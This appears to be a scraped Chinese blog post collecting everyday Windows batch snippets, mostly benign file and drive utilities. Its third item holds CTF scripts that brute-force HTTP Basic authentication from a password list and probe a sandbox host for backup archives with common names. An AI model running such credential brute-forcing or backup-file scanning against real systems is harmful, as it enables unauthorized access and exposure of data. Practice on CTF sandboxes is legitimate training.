zoukankan      html  css  js  c++  java
  • 批处理的个人日常使用集锦(持续更新)

    做一个批处理的常见批量操作集合(之前的忘记写了,从现在开始一点点记下来,以前xp时代是写过不少工具,有内网群扫ip并验证开机的,autorun病毒清除的,杀毒的,文件目录管理的等等)

    chcp 65001

    采用utf-8编码,支持中文,解决乱码 

      

    1、复制当前目录下的1.xls到当前目录下的所有子目录中,在cmd中执行

    for /f %a in ('dir /ad/b') do copy 1.xls %a

    2、输出所有可用盘符

    for /f "tokens=2,* delims= " %a in ('fsutil fsinfo drives') do echo %a %b

     另一种:

    wmic logicaldisk where drivetype=3 get deviceid

    3、批量取1.txt中的口令去爆破ctf的基本认证Basic access authentication

    @echo off
    for /f %%a in (1.txt) do (
      curl http://admin:%%a@challenge-b3eb165eda42bb48.sandbox.ctfhub.com:10800/flag.html 2>nul|find /i "ctfhub" 2>nul
    )

    @echo off
    for %%a in (web website backup back www wwwroot temp) do (
      for %%b in (tar tar.gz zip rar) do (
        curl http://challenge-c527a05bcf182f1c.sandbox.ctfhub.com:10800/%%a.%%b -o %%a.%%b
        echo ============================%%a.%%b
      )
    )

    类似的情况!!

    奶奶问孙子:4+1等于几 孙子说:等于6-1。 奶奶说:你明明知道答案,为什么不说? 孙子说:年轻人不讲5的……..
  • 相关阅读:
    idea 编译内存溢出
    版本兼容问题 用于数据存储的持久化
    java8 函数接口
    akka 的集群访问方式
    Akka Cluster Sharding
    讨厌的adb占用
    安卓编译 签名包
    linux 系统的 cache 过大,解决方案
    kotlin 简单处理 回调参数 加?
    HTML CSS + DIV实现局部布局
  • 原文地址:https://www.cnblogs.com/jasy/p/14948014.html
Copyright © 2011-2022 走看看